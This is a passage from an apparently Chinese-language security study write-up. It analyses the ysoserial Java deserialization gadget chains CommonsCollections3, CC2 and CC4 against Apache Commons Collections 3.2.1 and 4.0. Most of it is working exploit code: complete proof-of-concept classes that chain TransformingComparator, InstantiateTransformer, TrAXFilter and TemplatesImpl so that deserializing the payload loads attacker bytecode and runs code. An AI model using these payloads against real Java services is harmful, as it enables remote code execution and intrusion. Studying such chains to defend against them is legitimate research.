的代码,会发现CommonsCollections3
和上述代码并不同,没有使⽤到InvokerTransformer
。原因是因为:2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller
中就有过滤InvokerTransformer
。针对此情况ysoserial
的CC3变换InvokerTransformer
为InstantiateTransformer
同时使用了TrAXFilter
整理一下这后半段的思路:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
现在我们需寻找哪个类的方法调用了newTransformer()
,Find Usages
一下发现在TrAXFilter
类的构造方法直接可以调用TemplatesImpl
的newTransformer()
。
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true;
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
但是我们可以注意到TrAXFilter
这个类是不能进行序列化的,但是它的类是可以序列化的,同时我们可以在commons-collections
中找到这样一个类:InstantiateTransformer
,它的transform方法可以实例化一个类
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
所以我们整体的思路就出来了
ysoserial整体思路:
--ObjectInputStream.readObject()
--AnnotationInvocationHandler.readObject()
--Map(Proxy).entrySet()
--AnnotationInvocationHandler.invoke()
--LazyMap.get()
--ChainedTransformer.transform()
--ConstantTransformer.transform()
--InstantiateTransformer.transform()
--TrAXFilter(Templates templates)
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()
完整的POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC32 {
public static void main(String[] args) throws Exception{
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl, "_name", "name");
setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}),
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);
//serialize(o);
unerialize("CC32.ser");
}
运行结果:
Commons-Collections的变动
背景:
在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。
官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?
内部包的改动:
前后变化的比较大,俩个版本的库是能够共存的,放在pom.xml
中比较一下
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
用之前的 CommonsCollections6
利用链做个例子,然后将所有 import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
。
PriorityQueue利用链
ysoserial
还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2
和 CommonsCollections4
。
commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform
后面的部分就是我们熟悉的命令执行或代码执行。
CC2
利用链分析:
在 CC2 中,用到的两个关键类是:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
PriorityQueue
优先队列(Priority Queue):java中基于二叉推实现。正常进队,按照优先级出的队列,优先级由comparator来决定。
java.util.PriorityQueue
类重写了 readObject()
方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
org.apache.commons.collections4.comparators.TransformingComparator
中的compare
调用 transform()
方法的函数:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject()
中调用了 heapify()
方法, heapify()
中调用了 siftDown()
, siftDown()
中调用 siftDownUsingComparator()
, siftDownUsingComparator()
中调用的 comparator.compare()
,于是就连接到上面的 TransformingComparator
了:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
总结下来就是:
当优先队列(Priority Queue)反序列化的时候调用heapify()
方法恢复二叉推的结构,将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较,这个时候就会调用对应的compare()
方法
java.util.PriorityQueue
是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。- 反序列化时调用
heapify()
方法,是为了反序列化后,需要恢复这个结构的顺序。 - 排序是靠将大的元素下移实现的。
siftDown()
是将节点下移的函数, 而comparator.compare()
用来比较两个元素大小。 TransformingComparator
实现了java.util.Comparator
接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()
中就使用这个接口的compare()
方法比较树的节点。
CC2这一条利用的是:InvokerTransformer
无数组的代码执行。
整体思路:
--PriorityQueue.readObject()
--PriorityQueue.heapify()
--PriorityQueue.siftDown()
--PriorityQueue.siftDownUsingComparator()
--TransformingComparator.compare()
--InvokerTransformer.transform()
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()
完整POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templatesImpl);
priorityQueue.add(1);
Class clazz = TransformingComparator.class;
Field transformer = clazz.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);
//serialize(priorityQueue);
unserialize("CC2.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful Unserialize");
}
}
CC4
版本限制:
jdk版本:jdk7,8没有限制
commons-collections:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
背景:
在CC2的利用背景下,改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。
利用链分析:
首先需要明白:如果要getshell:1.命令执行,2.代码执行。CC4的链虽说是引入了新的commons-collections包,但是整体的思路还是没有发生变化,后半部分可以使用命令执行(Runtime
类)或者代码执行(Templatelmpl
调用链)。在ysoserial
中使用的是无InvokerTransformer
的代码执行。我按照ysoserial
的利用链模式来分析。
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
所以直接对transform
方法开始FindUsages
,TransformingComparator
的compare()
方法可以调用chainedTransformer
的transform()
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
对compare
方法进行FindUsages
可以找到PriorityQueue
类的readObject()
方法里调用heapify()
而heapify()
方法里调用了siftDown()
,siftDown()
方法里调用了siftDownUsingComparator(k, x)
,其又可以调用TransformingComparator
类的compare
方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
所以整条利用链就可以这样写:
import com.sun.net.httpserver.Authenticator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue);
unserialize("CC4.ser");
}
结果就是序列化和反序列化都没有弹出计算器。我们debug
一下找错误,既然反序列化是从readObject()
开始,我们就从PriorityQueue
的readObjct()
开始打断点,问题出现在了:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
我们需要进行priorityQueue.add(1)
俩次才可以解决问题,(因为这里涉及到数据结构,但我没有学过,所以这里做个标记)。所以整理后的利用链如下:
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
//serialize(priorityQueue);
unserialize("CC4.ser");
}
结果我们发现序列化和反序列化都可以弹出计算器,跟进priorityQueue.add()
发现其最终会调用transform()
方法,和前面的CC6一样,我们首先需要将其断开,再add()
以后利用反射重新将其连接即可。
利用链思路:
完整POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
//serialize(priorityQueue);
unserialize("CC4.ser");
}
运行结果: